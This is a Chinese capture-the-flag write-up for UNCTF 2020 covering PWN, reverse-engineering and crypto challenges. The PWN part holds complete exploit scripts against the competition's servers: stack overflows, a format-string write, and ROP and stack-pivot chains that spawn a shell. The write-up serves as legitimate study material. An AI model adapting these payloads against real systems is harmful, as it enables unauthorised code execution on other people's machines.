PWN:
YLBNB:
先nc,提示用pwntool,寫個腳本
from pwn import *
io = remote('45.158.33.12', 8000)
io.interactive()
運行返回flag:UNCTF{Gu@rd_Th3_Bes7_YLB}
fan:
分析附件,就是個簡單的棧溢出,有個fantasy函數可以拿到shell
那么在read函數接收輸入的時候直接覆蓋返回地址為system函數即可。
在IDA中可以看到,buf距離EBP為0x30,但是這個是64位的程序,一個EBP占8bytes。
且fantasy函數地址為0x00400735,那么payload:
payload = 'a'(buf距離EBP) + 'a'*(EBP占占的字節) + p64(fantasy函數地址)
腳本如下:
from pwn import *
r = remote('node2.hackingfor.fun',48548)
system_addr=0x00400735
payload = 'a'*0x30 + 'a'*8 + p64(system_addr)
r.recvuntil('input your message\n')
r.sendline(payload)
r.interactive()
運行拿到shell,cat flag:UNCTF{6506126d-05e5-4e74-a84f-89dc109dc627}
do_you_like_me?:
和fan一樣是棧溢出
from pwn import *
r = remote('node2.hackingfor.fun',46506)
system_addr=0x004006CD
payload = 'a'*0x10 + 'a'*8 + p64(system_addr)
r.recvuntil('Give me your input : ')
r.sendline(payload)
r.interactive()
運行拿到shell,cat flag:UNCTF{e668c0b1-6cb6-4bcd-b0b2-ebd96e5818c0}
你真的會pwn嘛?:
一個簡單的格式化字符串溢出漏洞

但是我在用fmtstr_payload時,輸出會被地址高位"\x00"字節截斷,可能是我太菜了。

改了一下腳本
from pwn import *
r = remote('node2.hackingfor.fun',40962)
r.recvuntil('Give me your input : ')
target_addr=0x0060107C
payload= 'AAAAA' + '%10c%12$hhn' + p64(target_addr)
#print payload
r.sendline(payload)
r.interactive()
運行運行拿到shell,cat flag:UNCTF{f19e34ea-c353-403e-9b47-7340960946b7}
原神
有兩種方法,第一種是ret2text,第二種是棧遷移。
ret2text
IDA反編譯后有很明顯的棧溢出漏洞。
程序中沒有“sh”,可以考慮構造bss段中3星的武器數量為26739,即“sh”的int值。只要抽到了這么多的3星武器,就能構造ROP,將該bss值當作參數傳入rdi中拿到shell。
雖然程序關閉了標准輸出流stdout,但是可以將標准輸出流重定向到 其它流上面,即cat flag > &2
from pwn import *
x64 = True
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999
io=process(fp)
elf=ELF(fp)
context.os = 'linux'
context.arch = 'amd64'
sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()
num = 0
ret = 0x400d14
rdi_ret = 0x400d13
bss_sh = 0x602314
def bulidsh():
global num
while num<26729:
ra()
sl("2")
ru('抽卡結果如下:\n')
data = ru('請選擇').split('\n')
for i in data:
if i[:10] == '\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85 ': #a = "★★★ " print(a.encode())
num+=1
while num!=26739:
ra()
sl("1")
ru('抽卡結果如下:\n')
data = ru('請選擇')
if data[:10] == '\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85 ':
num+=1
main()
def main():
ra()
sl('3')
ra()
sl('1')
ra()
offset = 0x38
payload = "a"*offset
payload+=p64(ret)
payload+=p64(rdi_ret)
payload+=p64(bss_sh)
payload+=p64(elf.plt['system'])
sl(payload)
bulidsh()
iat()
棧遷移
雖然關閉了標准輸出流無法泄漏libc,但是程序中有read函數和system函數的地址,不用libc一樣可以棧遷移。
首先劫持控制流並遷移棧到bss段,這段沒有什么好說的,標准代碼操作。
#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
io=process(fp)
elf=ELF(fp)
system=elf.plt['system']
sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()
ra()
sl('3')
ra()
sl('1')
rl()
bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)
到第二步,布置新的棧中參數。目前有兩個問題,一是不知道棧大小,二是不知道pop_rdi的目標地址偏移offset是多少。
棧大小可以用cyclic和gdb一起測出來。先用cyclic生成長度為100的字符串,再gdb調試看報錯字符。(注意要設置調試程序為父進程)
if args.G:
gdb.attach(io)
payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
sd(payload)
iat()

再用cyclic -l 0x6161616f 計算出棧長度為56。那么
payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+offset) + p64(system) + b'/bin/sh\x00'
隨便填一個offset,gdb調試。發現'/bin/sh'字段在0x602b00處。那么offset就是0x602b00-base_stage(0x602ae0) = 0x20。
那么payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/sh\x00'
當然如果你頂級理解的話實際上寫成這種payload = 'a'*(56-8*i) + b'/bin/sh\x00' + 'a'*(8*(i-1))+ p64(pop_rdi) + p64(base_stage- 8*(i-1)) + p64(system)(i=1,2),也是可以的。
最終的exp如下
#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
io=process(fp)
elf=ELF(fp)
system=elf.plt['system']
sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()
ra()
sl('3')
ra()
sl('1')
rl()
bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)
if args.G:
gdb.attach(io)
#payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
#print(hex(base_stage+0x20))
payload='a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/sh\x00'
sd(payload)
iat()
RE
反編譯:
用 pyinstxtractor反編譯出struct和babypy,修復頭,用uncompyle6反編譯pyc可得源代碼,直接運行得flag
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
flag += chr(ord(str2[i]) + i)
print(flag)
#UNCTF{un_UN_ctf123}
re_checkin:
拖入DIE,為64。拖入ida64中定位到start函數,跟進到sub_401550,發現是一個簡單的對比。
跟進Str2,發現無數據,懷疑動態寫入。
轉到匯編發現sub_4015DC函數正是向Str2寫入數據的函數,處理一下即可得到flag
.text:00000000004015DC sub_4015DC proc near
.text:00000000004015DC arg_0 = qword ptr 10h
.text:00000000004015DC
.text:00000000004015DC push rbp
.text:00000000004015DD mov rbp, rsp
.text:00000000004015E0 mov [rbp+arg_0], rcx
.text:00000000004015E4 mov cs:Str2, 'u'
.text:00000000004015EB mov cs:byte_42F041, 'n'
.text:00000000004015F2 mov cs:byte_42F042, 'c'
.text:00000000004015F9 mov cs:byte_42F043, 't'
.text:0000000000401600 mov cs:byte_42F044, 'f'
.text:0000000000401607 mov cs:byte_42F045, '{'
.text:000000000040160E mov cs:byte_42F046, 'W'
.text:0000000000401615 mov cs:byte_42F047, 'e'
.text:000000000040161C mov cs:byte_42F048, 'l'
.text:0000000000401623 mov cs:byte_42F049, 'c'
.text:000000000040162A mov cs:byte_42F04A, 'o'
.text:0000000000401631 mov cs:byte_42F04B, 'm'
.text:0000000000401638 mov cs:byte_42F04C, 'e'
.text:000000000040163F mov cs:byte_42F04D, 'T'
.text:0000000000401646 mov cs:byte_42F04E, 'o'
.text:000000000040164D mov cs:byte_42F04F, 'U'
.text:0000000000401654 mov cs:byte_42F050, 'N'
.text:000000000040165B mov cs:byte_42F051, 'C'
.text:0000000000401662 mov cs:byte_42F052, 'T'
.text:0000000000401669 mov cs:byte_42F053, 'F'
.text:0000000000401670 mov cs:byte_42F054, '}'
.text:0000000000401677 mov cs:byte_42F055, 0
.text:000000000040167E nop
.text:000000000040167F pop rbp
.text:0000000000401680 retn
.text:0000000000401680 sub_4015DC endp
babypy:
用 pyinstxtractor反編譯出struct和babypy,修復頭,用uncompyle6反編譯pyc可得源代碼
import libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)
def gen(x):
y = abs(x)
while 1:
if y > 0:
yield y % 2
y = y >> 1
else:
if x == 0:
yield 0
l = [i for i in gen(x)]
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')
感覺少了點東西,沒有next()函數,直接運行死循環。
分析過后可知是對flag先轉16進制,然后取余,移位。接着列表倒序,列表轉字符串,字符串轉hex,去0x得到tip.txt。
寫腳本爆破,即可得到flag
import libnum
a = '111010101101110011000110111010001100110011110110101010001101000010000000111010001011111011010010111001101011111011100100110010101100001001100010011000101111001010111110110001100110000001100000011000101111101'
b = 0
for i in a:
if i == '1':
b = b*2 +1
else:
b =b*2
f = libnum.n2s(b)
print(f)
#b'unctf{Th@t_is_rea11y_c001}'
easyMaze:
拖進ida64,定位到迷宮函數
while ( 1 )
{
v1 = *(char *)(v6 + v5);
if ( v1 == 'd' ) // 左
{
++v4;
}
else if ( v1 > 'd' )
{
if ( v1 == 's' ) // 下
{
++v3;
}
else
{
if ( v1 != 'w' ) // 上
return 0i64;
--v3;
}
}
else
{ // 右
if ( v1 != 'a' )
return 0i64;
--v4;
}
if ( v4 < 0 || v3 < 0 || *((_BYTE *)Dst + 10 * v3 + v4) == 'D' || *((_BYTE *)Dst + 10 * v3 + v4) == '0' )
return 0i64;
if ( v4 > 9 || v3 > 9 )
return 0i64;
if ( *((_BYTE *)Dst + 10 * v3 + v4) == 'S' )
break;
if ( sub_4019F4() )
{
puts("I See YOU!");
exit(2);
}
++v5;
}
return 1i64;
}
但是搜字符串沒有迷宮,且主函數在獲取用戶輸入時,調用了個sub_401AC0()函數,懷疑程序是打開時初始化迷宮。
上x64dbg動調,斷點設在lea rcx, Str,即打印"Help Me Out!!!!!!!!"的地址。
可以觀察到有個地址寫入了這一串字符
"Oo00oD00SD0oooo0Doooo0D0oD0o00ooooo00o00oD0D0oooooo00o0o0o0ooDoooooDDDo00o00oooooD0D0000oDoooooooooD"
處理一下
Oo00oD00SD
0oooo0Dooo
o0D0oD0o00
ooooo00o00
oD0D0ooooo
o00o0o0o0o
oDoooooDDD
o00o00oooo
oD0D0000oD
oooooooooD
很明顯是從O開始,0為牆壁,o為路,S為中點。結合代碼可得flag:unctf{dsdddssaaaassssssddddddddwwaawawwddwwwdw}
ICU:
拖進ida,搜索字符串,有一個很明顯的base64變換表
跟進引用函數
__int64 __fastcall sub_40180E(__int64 a1, int a2)
{
int v3; // [rsp+24h] [rbp-1Ch]
__int64 v4; // [rsp+28h] [rbp-18h]
int v5; // [rsp+34h] [rbp-Ch]
signed int j; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]
__int64 v8; // [rsp+50h] [rbp+10h]
int v9; // [rsp+58h] [rbp+18h]
v8 = a1;
v9 = a2;
v4 = sub_4A2840(5 * (a2 / 3));
for ( i = 0; i < v9; i += 3 )
{
v3 = (*(unsigned __int8 *)(i + 1i64 + v8) << 8) | (*(unsigned __int8 *)(v8 + i) << 16) | *(unsigned __int8 *)(i + 2i64 + v8);
for ( j = 0; j <= 3; ++j )
*(_BYTE *)(4 * (i / 3) + j + v4) = aUyopef2ghvwx3a[(v3 >> (-6 * j + 18)) & 0x3F];
}
v5 = v9 / 3;
if ( v9 % 3 == 1 )
{
*(_BYTE *)(v4 + 4 * v5 + 2i64) = aUyopef2ghvwx3a[64];
}
else if ( v9 % 3 != 2 )
{
goto LABEL_12;
}
*(_BYTE *)(v4 + 4 * v5++ + 3i64) = aUyopef2ghvwx3a[64];
LABEL_12:
*(_BYTE *)(v4 + 4 * v5) = 0;
return v4;
}
很明顯是base64的編碼操作,把他重命名為base64_change
但是看解出人數有點不對勁,應該沒有這么簡單。繼續跟進Please Input:,進入主函數,修改一下反編譯代碼
show(&unk_4A6920, "This file was complied by MingW\n");
show(&unk_4A6920, "enjoy\n");
show(&unk_4A6920, "Please Input:\n");
v0 = (void *)sub_4A2860(16i64);
sub_41F030(v0);
Memory = v0;
v1 = (void *)sub_4A2860(32i64);
sub_4908B0(v1);
v10 = v1;
v7 = 0;
sub_4A0FA0(&unk_4A65C0, v1);
LODWORD(v1) = sub_42A820(v1);
v2 = sub_42A840(v10);
Str = (char *)base64_change(v2, (unsigned int)v1);
v12 = 0;
v8 = strlen(Str);
while ( v12 < v8 )
{
sub_41EEC0(Memory,&v7);
Str[v12++] += v7;
}
if ( !memcmp(Str, "HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9", 0x30ui64) )
show(&unk_4A6920, "You Win,but you don't enjoy it,right?\n");
else
show(&unk_4A6920, "You lose,Try again\n");
這大概意思就是,將用戶輸入進行一些操作然后,調用base64_change函數進行編碼。之后循環和v7做加法。
最后和HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9比較。
這里處理v7的sub_41EEC0函數對於我這種re萌新是在是太過復雜,想了好久都還沒有思路。
但是我偶然看到傳入的v7是bool類型,想到可以爆破,上腳本。
import base64
a = 'HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg'
i = 0
flag1 =''
for b in a:
if i%2 == 0:
flag1 = flag1 + chr(ord(b) - 1)
else: flag1 += b
i = i+1
flag1 = flag1 +'='
change1 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/" # 非正常base64表
normal1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 正常base64表
ture_key1= flag1.translate(str.maketrans(change1, normal1))
try:
print(base64.b64decode(ture_key1))
except:
print('Error')
i = 0
flag2 =''
for b in a:
if i%2 != 0:
flag2 = flag2 + chr(ord(b) - 1)
else: flag2 += b
i = i+1
flag2 = flag2 +'='
change2 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/" # 非正常base64表
normal2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 正常base64表
ture_key2= flag2.translate(str.maketrans(change2, normal2))
try:
print(base64.b64decode(ture_key2))
except:
print('Error')
#b'unctf{we_remember_everything_YLBNB!'
#Error
但是不知道為啥少了個}。補上后得flag:unctf{we_remember_everything_YLBNB!}
ezRust:
拖進ida,搜索字符串,有個YLBNB,跟進其引用函數,反編譯有點問題
void sub_1400021E0()
{
char *v0; // [rsp+A0h] [rbp+20h]
char v1; // [rsp+A8h] [rbp+28h]
__int64 v2; // [rsp+268h] [rbp+1E8h]
v2 = -2i64;
v0 = &v1;
sub_14000B610(&v1);
JUMPOUT(unk_14000220B);
}
結合程序運行結果,
手動修復一下,得到基本可以看的代碼
v3 = scanf_from_argv((__int64)&v13);
sub_140001A00();
if ( v3 == 3 )
{
sub_14000B610(v16);
sub_140001E70((__int64)&v15, (__int64 *)v16);
sub_140007280(&v21);
sub_140007280(&v23);
v18 = v22;
v17 = v21;
v20 = v24;
v19 = v23;
v5 = sub_140006C50(&v15, 1i64, &off_1400243E8);
v6 = sub_140007380(v5);
sub_1400072D0((__int64)&v17, v6, v7);
v8 = sub_140006C50(&v15, 2i64, &off_140024400);
v9 = sub_140007380(v8);
sub_1400072D0((__int64)&v19, v9, v10);
v12 = strcmp(&v17, &off_140024420);
if ( v12 & 1 )
v25 = strcmp(&v19, &off_140024440) & 1;
else
v25 = 0;
if ( v25 & 1 )
{
printf2argv(v26, (__int64)&off_140024470, 1i64, (__int64)"src\\main.rs", 0i64); //off_140024470 = 'Success! Here is your flag:'
sub_14000DB60(v26);
sub_140001EF0(&v31);
v30 = &v31;
v33 = &v31;
v28 = sub_140004A60(&v31, sub_140007330);
v29 = v11;
printf2argv(v27, (__int64)&off_140024488, 2i64, (__int64)&v28, 1i64);
sub_14000DB60(v27);
sub_140001A50(&v31);
}
else
{
printf2argv(v32, (__int64)&off_1400244B8, 1i64, (__int64)"src\\main.rs", 0i64);
sub_14000DB60(v32);
}
sub_140001740(&v17);
JUMPOUT(unk_140002516);
}
printf2argv(v14, (__int64)&off_1400243C8, 1i64, (__int64)"src\\main.rs", 0i64); //off_1400243C8 = 'ERROR Input!'
sub_14000DB60(v14);
return result;
大概意思就是輸入三行數據,取后兩行,和off_140024420中的數據以及off_140024440中的數據做對比,都相同就輸出flag。
跟進off_140024420和off_140024440,發現就是YLBNB和RUSTPROGRAMING。
試着運行,成功得到flag:

unctf{Rust_more_safety_than_YLB's_Platform}
base_on_rust
拖入IDA64,查看字符串,疑似base編碼

跟進引用函數

發現這里並沒有進行編碼,只是初始化了base64,base32和base16的表
跟進到輸入處理函數,根據base編碼特征修改反編譯代碼,可得

提取出在off_140028AE8地址的字串RzQyVE1SSldHTTNUSU5SV0c1QkRNTVJXR0UzVEdOUlZHTTNER05CVklZM0RFTlJSRzRaVE1OSlRHTVpURU5LR0dZWkRNTUpYR00zREtNWlJHTTNES1JSV0dVM0VLTlJUR1pERE1OQldHVTJVTU5LR0dWRERPUkE9
解碼可得:unctf{base64_base32_base16_encode___}
Trap
拖入IDA64,跟進main函數
puts("Welcome To UNCTF2020_RE_WORLD !!!");
printf("Plz Input Key: ", a2);
__isoc99_scanf("%s", s1);
strcpy(dest, s1);
sub_400CBE();
if ( !strcmp(s1, s2) )
{
puts("Success.");
for ( i = 0; i <= 8479; ++i ){
v3 = byte_6020E0[i];
byte_6020E0[i] = s1[i % strlen(s1)] ^ v3;
}
s = fopen("/tmp/libunctf.so", "wb");
fwrite(byte_6020E0, 1uLL, 0x2120uLL, s);
getchar();
handle = dlopen("/tmp/libunctf.so", 1)
if ( !handle ){
v5 = stderr;
v6 = dlerror();
fputs(v6, v5);
exit(1);
}
v7 = (void (__fastcall *)(__int16 *, char *))dlsym(handle, "jo_enc");
dlerror();
v15 = 0;
v16 = 0;
v17 = 0;
memset(&v18, 0, 0x28uLL);
printf("plz Input Answer: ", "jo_enc", &v18);
__isoc99_scanf("%s", &v15);
v7(&v15, dest);
}
else{
puts("Loser!!!");
}
大概意思是將處理后的輸入和已有字串做對比,運行的時候輸入正確的s1會異或解密整個動態鏈接庫文件,然后寫入文件並調用jo_enc函數對接下來的輸入以v15(第二次輸入的字串),dest(第一次輸入的字串)的順序進行調用檢查
首先將輸入與0x22異或, 然后創建了一個線程
v2 = strlen(s1);
for ( i = 0; i < v2; ++i )
s1[i] ^= 0x22u;
pthread_create(&th, 0LL, (void *(*)(void *))start_routine, 0LL);
return pthread_join(th, 0LL);
接着調用sub_400BC0函數將s2與0x33異或並寫入文件
v3 = strlen(s2);
sub_400B76(v0);//反調試
for ( i = 0; ; ++i )
{
result = i;
if ((signed int)i >= v3 )
break;
s2[i] ^= 0x33u;
}
return result;
和調用sub_400C13函數對s1和s1長度做運算
for ( i = 0; ; ++i ){
result = (unsigned int)i;
if ( i >= v3 )
break;
sub_400C13(&s1[i], v3);
}
這里的sub_400C13有簡單的花指令,

手動修復后其實就是個循環
__int64 __fastcall sub_400C13(_BYTE *a1, int a2)
{
if ( !a2 )
return 1LL;
++*a1;
return sub_400C13(a1, (unsigned int)(a2 - 1));
}
那么腳本就很好寫了
s2=[26,23,18,23,17,44,124,27,46,45,125,124,125,46]
for i in s2:
print(chr(((i^0x33)-len(s2))^0x22),end='')
#941463c8-2bcb-
將生成的libunctf.so拖入ida64分析jo_enc函數
__int64 __fastcall jo_enc(char *a1, char *a2)
{
char *v2; // ST20_8
size_t v3; // ST10_8
int n; // [rsp+60h] [rbp-500h]
int m; // [rsp+64h] [rbp-4FCh]
int l; // [rsp+68h] [rbp-4F8h]
int k; // [rsp+6Ch] [rbp-4F4h]
int v9; // [rsp+70h] [rbp-4F0h]
int j; // [rsp+74h] [rbp-4ECh]
int v11; // [rsp+78h] [rbp-4E8h]
signed int i; // [rsp+7Ch] [rbp-4E4h]
int v13[48]; // [rsp+80h] [rbp-4E0h]
int odd_number[128]; // [rsp+140h] [rbp-420h]
int even_number[129]; // [rsp+340h] [rbp-220h]
int v16; // [rsp+544h] [rbp-1Ch]
char *input1; // [rsp+548h] [rbp-18h]
char *input2; // [rsp+550h] [rbp-10h]
input2 = a1;
input1 = a2;
v16 = 0;
memset(even_number, 0, 0x200uLL);
memset(odd_number, 0, 0x200uLL);
memset(v13, 0, 0xC0uLL);
for ( i = 0; i < 128; ++i )
{
even_number[i] = 2 * i;
odd_number[i] = 2 * i + 1;
}
v11 = strlen(input2);
for ( j = 0; j < v11; ++j )
{
v9 = input2[j];
if ( !(v9 % 2) )
{
for ( k = 0; k < v9; k += 2 )
v13[j] += even_number[k];
}
if ( v9 % 2 )
{
for ( l = 0; l < v9; l += 2 )
v13[j] += odd_number[l];
}
}
for ( m = 0; m < v11; ++m )
{
v2 = input1;
v3 = strlen(input1);
v13[m] = (16 * v2[m % v3] & 0xE827490C | ~(16 * v2[m % v3]) & 0x17D8B6F3) ^ (v13[m] & 0xE827490C | ~v13[m] & 0x17D8B6F3);
}
for ( n = 0; n < v11; ++n )
{
if ( v13[n] != *((_DWORD *)off_200FD8 + n) )
{
v16 = 0;
exit(1);
}
++v16;
}
if ( v16 == 22 )
puts("Win , Flag is unctf{input1+input2}");
return 0LL;
}
根據第一個輸入可得,v9(即第二個輸入的ascii碼)范圍在45~127,可以寫爆破腳本
cipher_lst = [1668, 1646, 1856, 4118, 1899, 1752, 640, 2000, 4412, 1835, 820, 984, 968, 1189, 4353, 1646, 4348, 4561, 1564,1566, 5596, 1525]
input1 = '941463c8-2bcb-'
input2 = ''
even_number = [i * 2 for i in range(128)]
odd_number = [i * 2 + 1 for i in range(128)]
cipher_ = [((16 * ord(input1[m % 14])) & 0xE827490C | (~(16 * ord(input1[m % 14])) & 0x17D8B6F3)) ^ (cipher_lst[m] & 0xE827490C | ~cipher_lst[m] & 0x17D8B6F3) for m in range(22)]
for a in cipher_:
for n in range(45,127):
j = 0
if not n % 2:
for i in range(0, n, 2):
j += even_number[i]
else:
for i in range(0, n, 2):
j += odd_number[i]
if j == a:
input2 += chr(n)
print('unctf{' + input1 + input2 + '}')
之后經過師傅的點撥,
原來 (str1 & random_hex1 | ~str1 & random_hex2) ^ (str2 & random_hex1 | ~str2 & random_hex2) 和 str1^str2是等價的
ezvm
根據初始信息修改主函數
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
vm v5; // [rsp+20h] [rbp-28h] BYREF
sub_4025B0();
show();
init_stack(&v5);
branch(&v5);
v3 = 0i64;
while ( byte_404040[v3] == *(_BYTE *)(v5.input + v3) ){
if ( ++v3 == 21 ){
puts("wuhu flag is what you input");
return 0;
}
}
puts("wrong! maybe you are not a hacker !");
return 0;
}
init_stack中初始化三個寄存器,操作碼和輸入
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
*(_QWORD *)(a1 + 16) = &unk_404080;
v2 = malloc(0x512ui64);
*(_QWORD *)(a1 + 24) = v2;
那么建個結構體

數據類型根據儲存位置改變,首先滿足結構體各變量位置距離與初始化中的地址偏移相同。
跟進branch,根據快指數算法的優化代碼和加法邏輯代碼可得
while ( 2 )
{
result = *v2;
if ( (_BYTE)result != 0xF9 )
{
LABEL_3:
switch ( (char)result )
{
case 0xF0: // 對比
v14 = v2[1];
if ( a1->r2 == v14 )
a1->r0 = 0;
else
a1->r0 = (a1->r2 >= v14) + 1;
goto LABEL_12;
case 0xF1:
sub_4015A0(a1);
/* 2: a1->opcode = a1->opcode + 3
5: a1->opcode = a1->opcode + 3
a1->r0 = a1->input[a1->r2]
6: a1->opcode = a1->opcode + 3
a1->r1 = a1->opcode[2]
7: a1->opcode = a1->opcode + 3
a1->r2 = a1->opcode[2] */
v2 = (unsigned __int8 *)a1->opcode;
continue;
case 0xF3: // add a1->r2 , v2[1]
v8 = v2[1];
v9 = a1->r2;
if ( v2[1] )
{
do
{
v10 = v8;
v11 = v9 & v8;
v12 = v9 ^ v10;
v13 = 2 * v11 == 0;
v8 = 2 * v11;
v9 = v12;
}
while ( !v13 );
a1->r2 = v12;
}
else
{
a1->r2 = v9;
}
goto LABEL_12;
case 0xF4: // 字符是否處理完成,是則調到F9結束循環,否則回到result = *v2繼續循環
if ( a1->r0 == 1 )
{
v2 -= v2[1];
a1->opcode = (__int64)v2;
}
else
{
LABEL_12:
v2 += 2;
a1->opcode = (__int64)v2;
}
continue;
case 0xF7: // 讀取21位字符存放在a1->input
sub_401570(a1);
v2 = (unsigned __int8 *)a1->opcode;
continue;
case 0xF8: // 快指數算法: pow(v4,7) mod 187
v4 = a1->r0;
v5 = 3;
v6 = 1i64;
v7 = 7i64;
do
{
if ( (v7 & 1) != 0 )
v6 = v4 * v6 % 187;
v7 >>= 1;
--v5;
v4 = v4 * v4 % 187;
}
while ( v5 );
++v2;
a1->r0 = v6;
a1->opcode = (__int64)v2;
result = *v2;
if ( (_BYTE)result != 0xF9 ) // 結束
goto LABEL_3;
return result;
default:
puts("fxxx me ?");
v2 = (unsigned __int8 *)a1->opcode;
continue;
}
}
return result;
}
若是做過密碼學的一眼就可以看出0xF8是個給定 c ,e,N的rsa加密。
為了方便理解,對rsa做個簡略的介紹。
- p 和 q:兩個大的質數,是另一個參數N的的兩個因子
- N:大整數,可以稱之為模數
- c 和 m:密文和明文
- e 和 d:互反數滿足 e*d mod 160 = 1
- pow(x, y, z):效果等效 pow(x, y) % z。
- 對明文m進行加密:c = pow(m, e, N),可以得到密文c
對密文c進行解密:m = pow(c, d, N),可以得到明文m
百度一下就可知7的互反數為23,即7*23 mod 160 = 161 mod 160 = 1
純動態:
動調一下看加密情況
輸入21個字符1
加密完成后發現是每隔兩位加密
debug024:00000000001E1550 db 19h
debug024:00000000001E1551 db 31h ; 1
debug024:00000000001E1552 db 19h
debug024:00000000001E1553 db 31h ; 1
debug024:00000000001E1554 db 19h
debug024:00000000001E1555 db 31h ; 1
debug024:00000000001E1556 db 19h
debug024:00000000001E1557 db 31h ; 1
debug024:00000000001E1558 db 19h
debug024:00000000001E1559 db 31h ; 1
debug024:00000000001E155A db 19h
debug024:00000000001E155B db 31h ; 1
debug024:00000000001E155C db 19h
debug024:00000000001E155D db 31h ; 1
debug024:00000000001E155E db 19h
debug024:00000000001E155F db 31h ; 1
debug024:00000000001E1560 db 19h
debug024:00000000001E1561 db 31h ; 1
debug024:00000000001E1562 db 19h
debug024:00000000001E1563 db 31h ; 1
猜一下只進行了rsa,寫個腳本
a=[150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131]
b=''
for i in range(21):
if i%2 == 0:
b += chr(pow(a[i],23,187))
else:
b += chr(a[i])
print(b)
#90dj06_th1s_A_3asy_vm
成功得到flag
動態加靜態:
動調得到指令調用順序:
0xF7->0xF1(6,3)->0xF1(7,0)->0xF1(5,0)->0xF8->0xF1(2,0)->0xF0(0x14)->0xF3(2)->0xF4(0xB)循環到字符讀取完成->0xF9
根據上面的分析可得匯編偽代碼
read a1->input
mov a1->r1 , 3
mov a1->r2 , 0 // input索引
loop:
mov a1->r0 , a1->input[a1->r2]
mov a1->r0 , pow(a1->r0,7) mod 187
mov a1->input[r2] , a1->r0
if a1->r2 = 0x14 (20)
mov a1->r0 , 0
else:
mov a1->r0 , bool(a1->r2 > v14) + 1 ;if a1->r2 > 0x14 mov a1->r0 , 1 else: mov a1->r0 , 2
add a1->r2 , 2 //隔兩位加密
if a1->r0 == 1
mov a1->opcode , *(&a1->opcode - 0xB) ;指向0xF1(5,0),等價goto loop
else:
mov a1->opcode , 2 //指向0xF9
cmp encrypt , input
還看不懂的可以看偽c
char input;
scanf(&input,21);
int r1 = 3, r2 = 0, r0 = 0, flag = 1, v1;
int encrypt[21] = [150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131];
do{
r0 = pow(input[r2],7) mod 187;
input[r2] = r0;
if (r2 > 20)
r0 = 0;
else{
if r2 > 20
r0 = 1;
else
r0 = 2;
}
r2 += 2;
if (r0 == 1)
flag = 1;
else
flag = 0
}while(flag)
while ( encrypt[v3] == input[v3] ){
if ( ++v3 == 21 ){
puts("wuhu flag is what you input");
return 0;
}
}
puts("wrong! maybe you are not a hacker !");
很明顯就是對輸入進行隔行rsa加密,注意加密內容是字符不是數字。
腳本和純動態的一樣,就不寫了。
Crypto
鞍山大法官開庭之缺的營養這一塊怎么補:
只有兩個字符,猜測是培根密碼,把o換成A,t換成B,在線解密一下得peigenhenyouyingyang。
原本以為flag是:unctf{peigenhenyouyingyang},結果不對。后來發現是全大寫,所以flag為unctf{PEIGENHENYOUYINGYANG}
easy_rsa:
給了a,b,e,c且a = p + q, b = p - q,直接上腳本。
import libnum
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import long_to_bytes
